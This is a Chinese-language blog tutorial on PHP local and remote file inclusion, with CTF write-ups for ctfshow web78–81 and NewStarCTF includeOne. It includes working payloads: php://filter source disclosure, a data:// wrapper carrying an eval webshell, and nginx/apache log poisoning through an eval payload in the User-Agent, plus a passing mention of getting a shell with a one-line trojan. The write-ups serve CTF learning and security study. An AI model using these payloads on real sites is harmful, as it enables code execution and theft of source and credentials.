文件包含漏洞
文件包含漏洞
文件中包含了php脚本,里面含有漏洞,就叫文件包含漏洞
概念
- php文件包含漏洞产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了意想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入,最常见的就是本地文件包含漏洞
- 开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
- 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
- 在PHP web application中文件包含漏洞居多,jsp,asp等程序中很少,这就是语言设计的弊端
类型
- 本地文件包含漏洞:网站服务器本身存在恶意文件,然后利用本地文件包含使用
- 远程文件包含漏洞:远程文件包含就是调用其它网站的恶意文件进行打开
文件包含函数
- php:include(),include_once(),fopen(),require(),require_once()
- jsp/servelt:ava.io,file(),java.io,filereader()
- asp:include file;virtual
主流文件包含php一些函数的含义
- include():执行到include()才会包含文件,找不到文件只会产生警告,还会接着运行后面的脚本
- require():只要程序一直运行就会包含文件,如果找不到包含文件则会产生致命错误,并且脚本运行终止
- include_once()和require_once():如果文件包含被执行了,就不会执行第二次
注意
- 文件包含是也是一种执行方式,即include和require函数的执行都会执行内部的参数,将内部的参数当作php源码去执行
本地文件包含:LFI,local file inclusion
本地文件包含漏洞指的是能打开并且包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI
首先创建两个文件,1.txt 和 11.php 如下:
创建完后并对 11.php 进行访问,并且传入参数:
看吧,成功了,这就是简单的本地文件包含,但如果将1.txt 内的内容换成一句换木马,再用菜刀连接一下,那是不是就可以获取shell了,这里小编就不演示了,留给你们慢慢琢磨。。。。。。
远程文件包含,RFI,remote file inclusion
- 远程文件包含需要对php.ini进行一些配置
- 即allow_url_fopen和allow_url_include要为ON,即和伪协议的使用条件相同
- 设置成功后记得要保存并且重新启动一下
- 好了现在可以开始演示远程包含了,其实和文件包含相差无几,只是把包含的换成外网链接一下就好了
- 文件包含原理也就是这么个样子,虽然操作简单,但其实是一个很危险的一个漏洞,除了可以利用他拿到shell
例题
文件包含漏洞记得使用PHP伪协议
- 什么时候使用php伪协议:文件包含
csdn中的一道例题
- http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI本地文件上传漏洞)
- 但是没有地方可以upload你的webshell后门代码
- LFI只能读取到非php文件的源码,因为php文件会被直接执行,没有办法查看到源码(但是如果可以以base64加密,则可以不去读取php的源码)
- 如果你能读取到config.php之类的文件,或许可以拿到数据库账号远程登录数据库入侵进去
- 现在的问题是:LFI如何读取到php文件的源码
- 演示:如果正常用LFI去读/sqli/db.php文件,是无法读取到它的源码的,只会被当作php文件被执行
http://vulnerable/fileincl/example1.php?page=../sqli/db.php
- 使用php://filter/read=convert.base64-encode/resource=可以将指定php文件的源码以base64方式编码并被显示出来
- 因为被base64编码过了,所以可以不被执行的情况下显示源码,只不过是被base64编码过的,解码即可
http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php
web78
- 没有任何过滤,可以直接使用伪代码去看看flag.php
- 使用php://filter伪代码
web79
- 发现对php有过滤,使用str_replace进行替换
- 使用php://filter伪协议查看flag.php的代码发现flag.php被替换为flag.???,被过滤并且不能查看到源代码
?file=php://filter/convert.base64-encode/resource=flag.php
- 伪协议又不止一个,可以使用data://text/plain,伪协议绕过
- 因为过滤了’php’字样,所以使用短标签
?file=data://text/plain,<?= eval($_POST[1]);?>
- 使用data://text/plain伪协议的同时,post值
1=system("tac flag.php");
- 即可查看到flag
- 这个题的思路和逃逸很类似,将变量1逃逸出去,和命令执行中?c=include%0a$_GET[1]?>&1=system(‘ls’);一样
web80
日志文件绕过:应用于没有上传功能的文件包含漏洞下获取权限
- nginx日志文件路径:?file=/var/log/nginx/access.log
- apache2日志文件路径:?file=/var/log/apache2/access.log
- 直接访问会显示User-Agent的信息
- 写入php文件,进行getshell
User-Agent: - 注意:访问日志文件只会显示前几次的访问情况,要查看当前访问情况需要再一次访问(访问的这一次还没有写入日志中,日志中只有此次访问之前的日志信息)
题
- 对php和data有过滤,就不能使用php://filter和data://text/plain,伪协议了
- 注意是先传User-Agent,到index.php中
- 再去访问 ?file=/var/log/nginx/access.log 看看是否包含成功
User-Agent:<?php phpinfo();?>
- 因为是加的http header,所以原题对传入的file值不会产生过滤
- User-Agent中写post传参,传入一个变量,将变量的值设为木马,和逃逸很相似
User-Agent:<?php eval($_POST[1]);?> 1=system("ls ./");
web81
- 和上一个题一样,先把User-Agent写进根目录,User-Agent中的内容是php攻击payload
- 拼接get传参的file变量,file=/var/log/nginx/access.log
- 同时post传入攻击payload,和第一步配合
NewStarCTF web2 includeOne
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
这个题的考点就是mt_rand()函数
这题是伪随机数的种子爆破,跟枯燥的抽奖那题类似,就是mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。
mt_rand()函数每使用一次,就会对当前的seed进行播种,然后伪随机数加密,但是一定要看好是给出的结果是第几次加密得到的
mt_rand()函数实例
爆出了种子为1145146,接下来使用相同的种子进行两次mt_rand()即可得到相同的数值,得到1202031004
最后进行rot13解密即可
s = "synt{sor00r4p-63rq-47q0-o8rr-610s58s76n4n}" i = 13 result = "" for c in s: oc = ord(c) if 65 <= oc <= 90: result += chr(((oc + i) - 65) % 26 + 65) elif 97 <= oc <= 122: result += chr(((oc + i) - 97) % 26 + 97) else: result += c print(result) //这时我贴的脚本,我建议使用cyberchef和CTF在线工具等
rot13
- rot13是一种字符处理方式,字符右移13位
- 当preg_match过滤了base时,可以在使用php://filter伪协议的同时使用rot13,而不是使用base64
- 在 filter/ 和 /read 之间,我们可以添加任意的字符,当preg_match需要的时候
- 查看源代码,我们可以看到rot13编码得到的flag
- 使用凯撒加密解码的方式,我们可以得到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 h3110w0r1d's Blog!